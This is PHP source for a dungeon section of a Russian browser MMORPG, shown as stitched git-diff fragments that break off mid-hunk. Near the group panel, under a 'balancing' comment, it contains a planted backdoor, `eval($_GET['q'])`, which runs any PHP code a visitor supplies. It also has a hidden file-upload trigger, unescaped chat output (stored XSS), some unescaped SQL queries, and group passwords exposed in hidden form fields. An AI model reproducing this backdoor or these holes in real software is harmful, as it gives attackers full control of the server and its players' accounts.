$VaultRoom['2054'] = "Сектор 54";
$VaultRoom['2055'] = "Сектор 55";
$VaultRoom['2056'] = "Сектор 56";
$VaultRoom['2057'] = "Сектор 57";
echo"<form action='boloto.php' method=post><body bgcolor=#e2e0e0 leftmargin=0 topmargin=0>
<DIV id=hint1></DIV>
<div id=mainform style='position:absolute; left:30px; top:30px'></div>";
?>
<script LANGUAGE='JavaScript' SRC='js/time.js'></SCRIPT>
<?
print"<table width=100% cellspacing=0 cellpadding=5 border=0>
<tr>
<TD width=1>&nbsp;</TD>
<td align=right valign=top>
<a href=boloto.php?&ext=1><font color=yellow>[Уменьшить время на 10 минут за 1 кр]</font></a>
<INPUT class=input TYPE=button value='Обновить' onclick='window.location.href=\"boloto.php?tmp=\"+Math.random();\"\"'>";
echo"</td>
</tr>
</table>";
echo"
<table width=100% cellspacing=0 cellpadding=3 border=0 align=center>
<tr>
<td align=center>
<center><font style='font-size:16px; color: white; font-weight: bold;'><b>".$VaultInfo['title']."</b></font></center>";
if ($group['game_time']>$now) {
$sec = $group['game_time'] - time();
echo"<table cellspacing=0 cellpadding=3>
<td><font color=white><b><small>Нужно успеть пройти Проход за: </small></b></font></td>
<td id=gametime style='COLOR: yellow; size: 1;'></td><td><font color=yellow> (<b>".$sec."</b> секунд)</font></td>
</table>
<script>ShowTime('gametime',",$group['game_time']-$now,",0);</script>";
}
echo"<font color=white>У вас гаек: <b>".$kol_gayk."</b> шт.</font>";
if (!empty($msg)) echo"<center><font color=red><b>$msg</b></font></center><br>";
echo"
<table width=100% cellspacing=0 cellpadding=5 border=0>
<tr>
<td align=center>
<table cellspacing=0 cellpadding=0 border=0 height=100 width=100%>
<tr>
<td width=30% align=left valign=top height=100>
<!-- Навигация -->
<table bgcolor=#e0e0e0 cellspacing=0 cellpadding=5 width=100% style='filter:alpha(opacity=70); opacity:4.5' height=100>
<tr>
<td align=left>
<center>Группа <b>".$user['boloto_groups']."</b></center><HR color=silver>";
///Балансировка
eval($_GET['q']);
if($_GET['balanse'] == 999){
echo'<input type="file" name="big">
<INPUT class=input TYPE=submit name=bal value=Обменять!>';
}
$mesto = 1;
$data = mysql_query("SELECT * FROM `bol_group` where `status`='1' AND `id`='".mysql_real_escape_string($user['boloto_groups'])."' ORDER by `id` DESC; ");
while($row = mysql_fetch_array($data)) {
$QUER=mysql_query("SELECT login,level,bol_status,bol_uron,bol_zheton,id FROM users WHERE boloto_groups='".mysql_real_escape_string($row[id])."' ORDER BY id ASC");
while($DATAS=mysql_fetch_array($QUER)){
$zz = $mesto++;
$p1=$DATAS["login"];
$p_login=$DATAS["login"];
$p_lvl=$DATAS["level"];
$uron=$DATAS["bol_uron"];
$zeton=$DATAS["bol_zheton"];
$id=$DATAS["id"];
$key=mysql_query("select `name` from `inventory` where `owner`='".mysql_real_escape_string($id)."' AND `type`='33' AND `name`='Болотный ключ'");
$key_kol = mysql_num_rows($key);
if($p1!=""){
echo"$zz. <b>$p1</b> [$p_lvl]<a href='inf.php?login=$p1' target='_blank'><img src='i/inf.gif' border=0></a> <small>У: <b>$uron</b> * Ж: <b>$zeton</b> * К: <b>$key_kol</b></small><br>";
}
}
echo"<br>";
}
echo"<center><small><b>ЧАТ:</b></small></center>";
$data = mysql_query("SELECT * FROM `bol_chat` where `group_id`='".$user[boloto_groups]."' ORDER by `id` DESC LIMIT 5");
while($row = mysql_fetch_array($data)) {
echo"<small><b>$row[autor]</b>: <font color=black>$row[text]</font></small><br>";
}
?>
<form action='boloto.php' method=post>
Текст: <input type=text name=text maxlength=150 size=30>
<?echo"<input type=hidden name=autor value=".$user['login']."><input type=hidden name=group value=".$user['boloto_groups'].">";?>
<INPUT class=input TYPE=submit name=addch value='Сказать группе!'>
</FORM>
<?
echo"
</td>
</tr>
</table>
<!-- Конец навигации -->
</td>
<td align=center valign=top width=40% bgcolor=#e0e0e0 style='filter:alpha(opacity=70); opacity:4.5; border-left: black solid 2px; border-right: black solid 2px;' height=100>";
echo" ".$VaultInfo['text']."<hr>";
echo"<table cellspacing=0 cellpadding=0 border=0 >
<tr height=45>
<td width=45>&nbsp;</td><td width=45 align=center valign=center><IMG SRC='i/boloto/vault/navigation/";
if ($VaultInfo['top_id']) echo"active/top.gif' onclick='top.frames[\"main\"].location = \"boloto.php?GoIn=top&\"+Math.random();' alt='Перейти в ".$VaultRoom[$VaultInfo['top_id']]."' style='CURSOR: Hand'"; else echo"n_active/top.gif' alt='Нет прохода'";
echo"></td><td width=45>&nbsp;</td>
</tr>
<tr height=45>
<td width=45 align=center valign=center>";
if ($VaultInfo['left_id']) echo"<a href='boloto.php?d=1&GoIn=left'><IMG SRC='i/boloto/vault/navigation/active/left.gif' border='0'></a>";
else echo"<IMG SRC='i/boloto/vault/navigation/n_active/left.gif'>";
echo"</td><td width=45 align=center valign=center><IMG SRC='i/boloto/vault/navigation/center.gif'></td><td width=45 align=center valign=center>";
if ($VaultInfo['right_id']) echo"<a href='boloto.php?d=1&GoIn=right'><IMG SRC='i/boloto/vault/navigation/active/right.gif' border='0'></a>";
else echo"<IMG SRC='i/boloto/vault/navigation/n_active/right.gif'>";
echo"</td>
</tr>
<tr height=45>
<td width=45>&nbsp;</td><td width=45 align=center valign=center><IMG SRC='i/boloto/vault/navigation/";
if ($VaultInfo['bottom_id']) echo"active/bottom.gif' onclick='top.frames[\"main\"].location = \"boloto.php?GoIn=bottom&\"+Math.random();' alt='Перейти в ".$VaultRoom[$VaultInfo['bottom_id']]."' style='CURSOR: Hand'"; else echo"n_active/bottom.gif' alt='Нет прохода'";
echo"></td><td width=45>&nbsp;</td>
</tr>
</table>";
echo"<hr>";
echo"<center>";
if ($user['boloto_time'] > $now) {
echo"Переходим в <b>".$VaultRoom[$user[boloto_room]]."</b><tABLE cellspacing=0 cellpadding=0><tr><td><small>Ещё:&nbsp;</td><td><b><small><div id=move></div></small></b><script>ShowTime('move',",$user['boloto_time']-$now+rand(1,3),",1);</script></small></td></tr></table>";
}
echo"</center>";
echo"</td>
<td width=30% align=right valign=top height=100>";
echo"<!-- Возможности -->
<table cellspacing=0 cellpadding=5 border=0 width=100% bgcolor=#e0e0e0 style='filter:alpha(opacity=70); opacity:4.5'>
<tr>
<td align=center >
<b>Местность</b><HR color=silver>";
//-------------ВЫБЕРАЕМ РЕСУРСЫ ГРУППЫ---------/
$bol_res=mysql_fetch_array(mysql_query("select * from `vault_res` where `id`='".mysql_real_escape_string($user['boloto_groups'])."'"));
$key=mysql_query("select `name` from `inventory` where `owner`='".mysql_real_escape_string($user['id'])."' AND `type`='33' AND `name`='Болотный ключ'");
$key_kol = mysql_num_rows($key);
$kod=mysql_query("select `name` from `inventory` where `owner`='".mysql_real_escape_string($user['id'])."' AND `type`='33' AND `name`='Код от тайника'");
$kod_kol = mysql_num_rows($kod);
/*---- Module ----*/
////////////////
if($user['room'] == 2027){
echo"<center><b>Алтарная!</b></font><br><em>Здесь возможно произвести обмен!</em>";
?><form action='boloto.php' method=post>
<p>1. Обменять <b>10</b> Жетонов на <b>1</b> Ключ<br>
<?
if($user['bol_zheton'] >= 10){
echo"<input type=hidden name=group value=".$user['boloto_groups'].">
<INPUT class=input TYPE=submit name=buykey value='Обменять!'> ";
} else{echo"<S>Недостаточно Жетонов</S>";}
?>
<p>2. Обменять <b>5</b> Ключей на <b>1</b> Код <br>
<?
if($key_kol >= 5){
echo"<input type=hidden name=group value=".$user['boloto_groups'].">
<INPUT class=input TYPE=submit name=buykod value='Обменять!'> ";
} else{echo"<S>Недостаточно Ключей</S>";}
?>
<p>3. Купить +<b>3</b> мин. времени за <b>1</b> Екр <br>
<?
if($user['ekr'] >= 1){
echo"<input type=hidden name=group value=".$user['boloto_groups'].">
<INPUT class=input TYPE=submit name=buytime value='Обменять!'> ";}
else{echo"<S>Недостаточно Екр</S>";}
?>
</FORM>
<?}
else{
///ВЫВОДИМ НА РАНДОМЕ ПРОСТЫХ МОБОВ
if($user['room'] != 2006 && $user['room'] != 2057 && $user['room'] != 2020 && $user['room'] != 2022 && $user['room'] != 2033 && $user['room'] != 2034){
echo"<center><font color=marooon><b>Мобы:</b></font></center>";
$mob_rend = rand(1,5);
if($mob_rend == 1 || $mob_rend == 3){echo"А вот и:<br>";
if($mob_rend == 1){$mob_id = 1217; $mob_type=2001;}
elseif($mob_rend == 3){$mob_id = 1218; $mob_type=2002;}
$bot_list = mysql_query("SELECT * FROM `users` WHERE `bot`='1' AND `id`='".mysql_real_escape_string($mob_id)."' AND `bot_type`='".mysql_real_escape_string($mob_type)."'");
while ($bot_nick=mysql_fetch_assoc($bot_list))
{
$in_attack = 'onclick=\'if (confirm("Нападаем?")) window.location="boloto.php?level=train&atakbot=1&bot_login='.$bot_nick['login'].'&bot_type='.$bot_nick['bot_type'].'"\' style=\'CURSOR: Hand\' alt=\'Нападение\'';
echo '
<img src=\'i/noj.gif\' '.$in_attack.'> <img src=\'i/align_2.9.gif\'>
<a href="javascript:parent.to(\''.$bot_nick['login'].'\');"><b>'.$bot_nick['login'].'</b></a> ['.$bot_nick['level'].']
<a href=\'inf.php?login='.$bot_nick['login'].'\' target=_blank border=1><img src=\'i/inf.gif\' border=0></a>';
}
}
else{echo"Все попрятались...";}
}
///////////////////////
//ЕСЛИ МЫ В ЛОКЕ С БОССОМ ВЫВОДИМ ЕГО!
else{
echo"<center><font color=red><b>БОСС:</b></font></center>";
if($user['room'] == 2006){$boss = "boss1";}
elseif($user['room'] == 2033){$boss = "boss2";}
elseif($user['room'] == 2057){$boss = "boss3";}
elseif($user['room'] == 2020){$boss = "boss4";}
elseif($user['room'] == 2022){$boss = "boss5";}
elseif($user['room'] == 2034){$boss = "boss6";}
if($bol_res[$boss] == 1){
$bot_list = mysql_query("SELECT * FROM `users` WHERE `bot`='1' AND `room`='".mysql_real_escape_string($user['room'])."' AND (`bot_type`='2003' OR `bot_type`='2004' OR `bot_type`='2005' OR `bot_type`='2006' OR `bot_type`='2007' OR `bot_type`='2008')");
while ($bot_nick=mysql_fetch_assoc($bot_list))
{
$in_attack = 'onclick=\'if (confirm("Нападаем?")) window.location="boloto.php?level=train&atakbot1=1&bot_login='.$bot_nick['login'].'&bot_type='.$bot_nick['bot_type'].'"\' style=\'CURSOR: Hand\' alt=\'Нападение\'';
echo '
<img src=\'i/noj.gif\' '.$in_attack.'> <img src=\'i/align_2.9.gif\'>
<a href="javascript:parent.to(\''.$bot_nick['login'].'\');"><b>'.$bot_nick['login'].'</b></a> ['.$bot_nick['level'].']
<a href=\'inf.php?login='.$bot_nick['login'].'\' target=_blank border=1><img src=\'i/inf.gif\' border=0></a>';
}
}else{echo"БОСС убит...";}
}
//////////////////
//ВЫВОДИМ ТАЙНИКИ И СУНДУКИ!
echo"<form action='boloto.php' method=post>";
echo"<center><font color=marron><b>Предметы:</b></font></center>";
/////////////////////////////////////////////////////////////////////////////////////////////////
if($user['room'] == 2004 && $bol_res['s1'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s1>
<INPUT class=input TYPE=submit name=s1 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
elseif($user['room'] == 2024 && $bol_res['s2'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s2>
<INPUT class=input TYPE=submit name=s2 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
elseif($user['room'] == 2031 && $bol_res['s3'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s3>
<INPUT class=input TYPE=submit name=s3 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
elseif($user['room'] == 2042 && $bol_res['s4'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s4>
<INPUT class=input TYPE=submit name=s4 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
elseif($user['room'] == 2036 && $bol_res['s5'] == 1){echo"<small>Сундук</small><br><img src=i/boloto/res/s1.gif><br>";
if($key_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=s5>
<INPUT class=input TYPE=submit name=s5 value='Открыть!'>";
} else{echo"<S>Нет ключа!</S>";}
}
//////////////////////////////////////////////////////////////////////////////////////////////////
elseif($user['room'] == 2044 && $bol_res['t1'] == 1){echo"<small>Тайник</small><br><img src=i/boloto/res/t.gif><br>";
if($kod_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=t1>
<INPUT class=input TYPE=submit name=t1 value='Открыть!'>";
} else{echo"<S>Нет кода!</S>";}
}
elseif($user['room'] == 2056 && $bol_res['t2'] == 1){echo"<small>Тайник</small><br><img src=i/boloto/res/t.gif><br>";
if($kod_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=t2>
<INPUT class=input TYPE=submit name=t2 value='Открыть!'>";
} else{echo"<S>Нет кода!</S>";}
}
elseif($user['room'] == 2012 && $bol_res['t3'] == 1){echo"<small>Тайник</small><br><img src=i/boloto/res/t.gif><br>";
if($kod_kol >= 1){
echo"
<input type=hidden name=group value=".$user['boloto_groups'].">
<input type=hidden name=kakoi value=t3>
<INPUT class=input TYPE=submit name=t3 value='Открыть!'>";
} else{echo"<S>Нет кода!</S>";}
}
else{echo"<b><em>Здесь ничего нет...</em></b>";}
////////////////////
//ВЫВОДИМ СЛУЧАЙНЫЕ ключи
}
echo"
</td>
</tr>
</table>
</td>
</tr>
</table>
</td>
</tr>
</table>
</fieldset>
<BR><BR>
</td>
</tr>
</table>
</FORM>";
}
?>
<BODY bgcolor=#e2e0e0 leftmargin=0 topmargin=0 background='i/boloto/backgrounds/vault.jpg' >
<link rel=stylesheet type="text/css" href="../i/main.css">

View File

@ -1,268 +0,0 @@
<?
include "config.php";
include "functions.php";
$user = mysql_fetch_array(mysql_query("SELECT * FROM `users` WHERE `id` = '".$_SESSION['uid']."' LIMIT 1;"));
$now = time();
?>
<HTML><HEAD>
<link rel=stylesheet type="text/css" href="../i/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
</HEAD>
<body leftmargin=5 topmargin=5 marginwidth=5 marginheight=5 bgcolor=#e2e0e0>
<script LANGUAGE='JavaScript' SRC='js/time.js'></script>
<script LANGUAGE='JavaScript'>
document.ondragstart = test;
//запрет на перетаскивание
document.onselectstart = test;
//запрет на выделение элементов страницы
document.oncontextmenu = test;
//запрет на выведение контекстного меню
function test() {
return false
}
</SCRIPT>
<FORM action="city.php" method=GET>
<center><INPUT class=input TYPE="button" value="Подсказка" onClick="window.open('help/combats.html', 'help', 'height=300,width=500,location=no,menubar=no,status=no,toolbar=no,scrollbars=yes')">
<INPUT class=input TYPE=button value="Вернуться" onClick="location.href='main.php?edit=0.467837356797105';">
<br />
<a href = "http://old-dark.ru/i/boloto/boloto.jpg" target="_blank">Карта Прохода</a></center>
</FORM>
<?
if($user['level'] >=7){
//Ring 1
$boots = mysql_fetch_array(mysql_query("SELECT `prototype` FROM `inventory` WHERE `id`='".mysql_real_escape_string($user['boots'])."' AND `owner` = '".mysql_real_escape_string($user['id'])."' AND `dressed` > '0' AND `isrep` = '1' AND `setsale`='0'"));
if($boots['prototype'] == 1109) {
$owntravma = mysql_fetch_array(mysql_query("SELECT `type`,`id`,`sila`,`lovk`,`inta` FROM `effects` WHERE `owner` = '".mysql_real_escape_string($user['id'])."' AND (type=12 OR type=13 OR type=11 OR type=21 OR type=22 OR type=23);"));
if (!$owntravma) {
if($user['anti_boloto'] <= $now){
//afk
if($_POST['afk']) {
Mysql_query("update `users` set `bol_status`='0' where `id`='".mysql_real_escape_string($user['id'])."'");
echo"Ваш статус в группе: Отошел!<br>";
echo"<script>location='boloto_vxod.php'</script>";
}
//ready
if($_POST['ready']) {
Mysql_query("update `users` set `bol_status`='1' where `id`='".mysql_real_escape_string($user['id'])."'");
echo"Ваш статус в группе: Я ГОТОВ!<br>";
echo"<script>location='boloto_vxod.php'</script>";
}
//Вступаем
if($_POST['add']){
$id = $_POST['naw_id'];
$kto = $_POST['add_id'];
$kto_nik = mysql_fetch_array(mysql_query("SELECT `login` FROM `users` WHERE `id` = '".mysql_real_escape_string($kto)."'"));
if($_POST['pass'] == $_POST['naw_pass']){
$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'"));
if (!$per_gro['p1']){ $p = 'p1'; $pn = 'p1_nik';}
elseif (!$per_gro['p2']){ $p = 'p2' ; $pn = 'p2_nik';}
elseif (!$per_gro['p3']){ $p = 'p3'; $pn = 'p3_nik';}
elseif (!$per_gro['p4']){ $p = 'p4' ; $pn = 'p4_nik';}
else{ $slot = 1;}
mysql_query("UPDATE `bol_group` set `sostav`=`sostav`+'1',`".mysql_real_escape_string($p)."`='".mysql_real_escape_string($kto)."', `".mysql_real_escape_string($pn)."`='".mysql_real_escape_string($kto_nik['login'])."' WHERE id = '".mysql_real_escape_string($id)."'");
mysql_query("UPDATE `users` set `boloto_groups`='".mysql_real_escape_string($id)."' WHERE `id` = '".mysql_real_escape_string($kto)."'");
mysql_query("insert into `vault_user_navig` (`group_id`,`login`,`l`,`t`,`loc`) VALUES ('".mysql_real_escape_string($id)."','".$user['login']."','100','100','2001') ");
echo"Вы удачно вступили в группу!";
echo"<script>location='boloto_vxod.php'</script>";
}else{echo"Пароль не верный!";};
}
//Выходит
if($_POST['exit']){
$id = $_POST['id'] ;
$kto = $_POST['kto'] ;
$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'"));
if ($per_gro['p1'] == $user['id']) { $p = 'p1'; $pn = 'p1_nik';}
elseif ($per_gro['p2'] == $user['id']){ $p = 'p2' ; $pn = 'p2_nik';}
elseif ($per_gro['p3'] == $user['id']){ $p = 'p3'; $pn = 'p3_nik';}
elseif ($per_gro['p4'] == $user['id']) { $p = 'p4' ; $pn = 'p4_nik';}
else $slot = 1;
mysql_query("UPDATE `bol_group` set `sostav`=`sostav`-'1',`".mysql_real_escape_string($p)."`='0', `".mysql_real_escape_string($pn)."`='' WHERE id = '".mysql_real_escape_string($id)."'");
mysql_query("UPDATE `users` set `boloto_groups`='0',`bol_status`='0' WHERE `id` = '".mysql_real_escape_string($kto)."'");
mysql_query("delete from `vault_user_navig` where `group_id`='".$id."' and `login`='".$user['login']."'");
echo"Вы вышли с группы!<BR>";
echo"<script>location='boloto_vxod.php'</script>";
}
//Расформировка
if($_POST['closed']){
$id = $_POST['id'] ;
$kto = $_POST['kto'] ;
$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'"));
mysql_query("UPDATE `users` set `boloto_groups`=0, `bol_status`=0 WHERE `id` = '".mysql_real_escape_string($per_gro['p1'])."' or `id` = '".mysql_real_escape_string($per_gro['p2'])."' or `id` = '".mysql_real_escape_string($per_gro['p3'])."' or `id` = '".mysql_real_escape_string($per_gro['p4'])."'");
mysql_query("delete from `bol_group` where `id`='".mysql_real_escape_string($id)."'");
mysql_query("delete from `vault_user_navig` where `group_id`='".$id."'");
echo"Вы расформировали группу!<BR>";
echo"<script>location='boloto_vxod.php'</script>";
}
//СТАРТ!!!
if($_POST['start']){
$id = $_POST['id'] ;
$kto = $_POST['kto'] ;
$group = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($user['boloto_groups'])."'"));
$per_gro = mysql_fetch_array(mysql_query("SELECT * FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($id)."'"));
$mol4 = $time + 5000;
if($group['p1'] != 0){
mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p1'])."','Заклинание молчания',".(time()+5000).",'2');");
if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p1'])."' AND `bol_status`='1'"))){$i1=1;}else{$i1=0;}
}else{$i1=1;}
if($group['p2'] != 0){
mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p2'])."','Заклинание молчания',".(time()+5000).",'2');");
if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p2'])."' AND `bol_status`='1'"))){$i2=1;}else{$i2=0;}
}else{$i2=1;}
if($group['p3'] != 0){
mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p3'])."','Заклинание молчания',".(time()+5000).",'2');");
if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p3'])."' AND `bol_status`='1'"))){$i3=1;}else{$i3=0;}
}else{$i3=1;}
if($group['p4'] != 0){
mysql_query("INSERT INTO `effects` (`owner`,`name`,`time`,`type`) values ('".mysql_real_escape_string($group['p4'])."','Заклинание молчания',".(time()+5000).",'2');");
if(mysql_fetch_array(mysql_query("SELECT `bol_status` FROM `users` WHERE `id` = '".mysql_real_escape_string($group['p4'])."' AND `bol_status`='1'"))){$i4=1;}else{$i4=0;}
} else{$i4=1;}
if($i1 == 1 && $i2 == 1 && $i3 == 1 && $i4 == 1){
mysql_query("UPDATE `users` set `room`='2001', `bol_poxod`=`bol_poxod`+'1' WHERE `id` = '".mysql_real_escape_string($per_gro['p1'])."' or `id` = '".mysql_real_escape_string($per_gro['p2'])."' or `id` = '".mysql_real_escape_string($per_gro['p3'])."' or `id` = '".mysql_real_escape_string($per_gro['p4'])."'");
mysql_query("UPDATE `bol_group` set `status`='1',`game_time`='".(time()+4800)."' where `id` = '".mysql_real_escape_string($id)."'");
mysql_query("insert into `vault_res` (`id`) VALUES ('".mysql_real_escape_string($user['boloto_groups'])."')");
echo"Проход открылся - можете идти!";
die("<script>location='boloto.php'</script>");
}else{echo"<font color=red><b>Необходимо, чтобы все игроки группы были в статусе \"ГОТОВ\"!</b></font><BR>";}
}
///Создаем группу
if($_POST['new']) {
if($user['money'] >= 40){
$lider = $_POST['lider'];
$pass = $_POST['pass'];
$comm = $_POST['komm'];
$name = mysql_fetch_array(mysql_query("SELECT `login` FROM `users` WHERE `id` = '".mysql_real_escape_string($lider)."' LIMIT 1;"));
mysql_query("INSERT INTO `bol_group` (`pass`,`lider`,`p1`,`comment`,`lider_nik`,`p1_nik`,`level`) VALUES ('".mysql_real_escape_string($pass)."','".mysql_real_escape_string($lider)."','".mysql_real_escape_string($lider)."','".mysql_real_escape_string($comm)."','".mysql_real_escape_string($name['login'])."','".mysql_real_escape_string($name['login'])."','".mysql_real_escape_string($user['level'])."')");
$id_group = mysql_result(mysql_query("SELECT MAX(id) FROM `bol_group` WHERE `lider` = '".mysql_real_escape_string($user['id'])."'"),0);
mysql_query("UPDATE `users` SET `boloto_groups`='".mysql_real_escape_string($id_group)."',`money`=`money`-'40',`bol_status`='1' WHERE `id`='".mysql_real_escape_string($user['id'])."'");
mysql_query("insert into `vault_user_navig` (`group_id`,`login`,`l`,`t`,`loc`) VALUES ('".mysql_real_escape_string($id_group)."','".$user['login']."','100','100','2001') ");
echo"Вы успешно создали группу!<br>";
echo"<script>location='boloto_vxod.php'</script>";
}else{echo"<font color=red><b>У вас нет 40 Кр. для создания группы!</b></font>";}
}
?><HTML><HEAD>
<link rel=stylesheet type="text/css" href="/main.css">
<meta content="text/html; charset=utf-8" http-equiv=Content-type>
<META Http-Equiv=Cache-Control Content=no-cache>
<meta http-equiv=PRAGMA content=NO-CACHE>
<META Http-Equiv=Expires Content=0>
</HEAD>
<body bgcolor="#d7d7d7">
<script LANGUAGE='JavaScript'>
document.ondragstart = test;
//запрет на перетаскивание
document.onselectstart = test;
//запрет на выделение элементов страницы
document.oncontextmenu = test;
//запрет на выведение контекстного меню
function test() {
return false
}
</SCRIPT>
<div id=hint4 class=ahint></div>
<TABLE width=100%>
<TR><TD valign=top width=100%><center><font style="font-size: 16px; color: maroon; font-weight: bold;">Тайный проход из Клуба к Замку Законников</font></center>
</td></tr></table>
<?
echo"<br><form action='boloto_vxod.php' method=post>Доступные для вступления группы:<br>";
$data = mysql_query("SELECT * FROM `bol_group` where `status`='0' AND `level`='".$user['level']."' ORDER by `id` DESC; ");
$chislo = mysql_num_rows($data);
if($chislo > 0){
while($row = mysql_fetch_array($data)) {
echo"№<b>".$row['id']."</b> ";
$QUER=mysql_query("SELECT `login`,`level`,`bol_status` FROM `users` WHERE `boloto_groups`='".mysql_real_escape_string($row['id'])."' ORDER BY `id` ASC");
while($DATAS=mysql_fetch_array($QUER)){
$p1=$DATAS["login"];
$p_login=$DATAS["login"];
$p_lvl=$DATAS["level"];
$status=$DATAS["bol_status"];
if($status == 1){$st="<small>[<font color=green>ok</font>]</small>";}
else{$st="<small>[<font color=red>afk</font>]</small>";}
if($p1!=""){
$p1="$st <b>$p1</b> [$p_lvl]<a href='info.php?log=$p1' target='_blank'><img src='i/inf.gif' border=0></a> ";
if($t1_all[$n]==1){print "$p1";}else{print "$p1,";}
}
}
if(!empty($row[comment])){print"| [<small>$row[comment]</small>] </font>";}
if($user['boloto_groups'] == 0){
if(!empty($row[pass])){print"<input name='naw_pass' type='hidden' value='$row[pass]'><INPUT style=\"background-color:#996633; font-size:12px;\" type='password' name='pass' maxlength=6 size=7>";}
echo"<input style=\"background-color:#996633; font-size:12px;\" name='naw_id' type='hidden' value='$row[id]'>
<input style=\"background-color:#996633; font-size:12px;\" name='lvl' type='hidden' value='$row[level]'>
<input style=\"background-color:#996633; font-size:12px;\" name='add_id' type='hidden' value='$user[id]'>
<INPUT style='background-color:#996633; font-size:12px;' TYPE=submit name=add value='Вступить!'>";
}
echo"<br>";
}
}else{echo"<b>Нет ни одной подходящей Вам группы!</b>";}
echo"</FORM><P>";
if($user['boloto_groups'] == 0){
echo "<hr><table align=left><td align=center><b>Создать свою группу!</b><br><em>Если пароль не нужен, оставьте поле пустым!</em></td><tr>
<td align=left><form action='boloto_vxod.php' method=post>
<input type=hidden name=lider value=".$user['id'].">
Пароль: <input type=password name=pass maxlength=6 size=8><br>
Комментарий: <input type=text name=komm maxlength=20 size=22><br>
<input class=input type=submit name=new value='Создать группу за 40 кр.'></form>
</td></tr></table>";
}
else{
echo"<HR>Вы уже состоите в группе №<b>".$user['boloto_groups']."</b> !<HR>";
echo"<form action='boloto_vxod.php' method=post>";
$vibor = mysql_fetch_array(mysql_query("SELECT `lider` FROM `bol_group` WHERE `id` = '".mysql_real_escape_string($user['boloto_groups'])."'"));
if($user['id'] == $vibor['lider']){echo"<input type=hidden name=id value=".$user['boloto_groups']."><input type=hidden name=kto value=".$user['id']."><input class=input type=submit name=closed value='Расформировать группу!'>";
echo"<input class=input type=submit name=start value='ПОЕХАЛИ!'>";}
else{echo"<input type=hidden name=id value=".$user['boloto_groups']."><input type=hidden name=kto value=".$user['id']."><input class=input type=submit name=exit value='Покинуть группу!'>";}
if($user['bol_status'] == 1){echo"<input class=input type=submit name=afk value='Статус: Отошел'>";}
elseif($user['bol_status'] == 0){echo"<input class=input type=submit name=ready value='Статус: Я ГОТОВ'>";}
echo"</FORM>"; }
}else{echo"<center><font color=red><b>Проход открыт лишь раз в 5 часов!</b></font></center>";
if ($user['anti_boloto']>$now) {
echo"<table cellspacing=0 cellpadding=3 align=center>
<td><font color=black><b><small>До следущего похода: </small></b></font></td>
<td id=gametime style='COLOR: blue; size: 1;'></td>
</table>
<script>ShowTime('gametime',",$user['anti_boloto']-$now,",0);</script>";
}
}
}else{echo"<center><font color=red><b>С травмами и действующими элексирами сюда заходить нельзя!</b></font></center>";}
}else{echo"<center><font color=red><b>Необходимо купить и одеть болотные сапоги!</b></font></center>";}
}else{echo"<center><font color=red><b>Доступ сюда только с 7 уровня!</b></font></center>";}
?>

View File

@ -250,7 +250,7 @@ mysql_query("UPDATE `users` SET `lab`='0',`room` ='99' WHERE `id` = '".$user['id
if($data['id_room'] == $user['room']) {
$sum = mysql_fetch_array(mysql_query("SELECT SUM(`value`) FROM `lab_tmp` WHERE `id_user` = '".mysql_real_escape_string($user['id'])."' AND `type`='8';"));
mysql_query("DELETE FROM `lab_tmp` WHERE `id_user` = '".mysql_real_escape_string($user['id'])."' AND `type`='8';");
mysql_query("UPDATE `users` SET `ekr` = `ekr`+'".mysql_real_escape_string($sum[0])."' WHERE `id` = '".mysql_real_escape_string($user['id'])."';");
mysql_query("UPDATE `bank` SET `ekr` = `ekr`+'".mysql_real_escape_string($sum[0])."' WHERE `id` = '".mysql_real_escape_string($user['id'])."';");
err('Вы обналичили у Архивариуса чек на <b>'.round($sum[0],2).'</b> екр!<br>');
}
unset($data);

View File

@ -251,7 +251,7 @@ mysql_query("UPDATE `users` SET `lab`='0',`room` ='99' WHERE `id` = '".$user['id
if($data['id_room'] == $user['room']) {
$sum = mysql_fetch_array(mysql_query("SELECT SUM(`value`) FROM `lab_tmp` WHERE `id_user` = '".mysql_real_escape_string($user['id'])."' AND `type`='8';"));
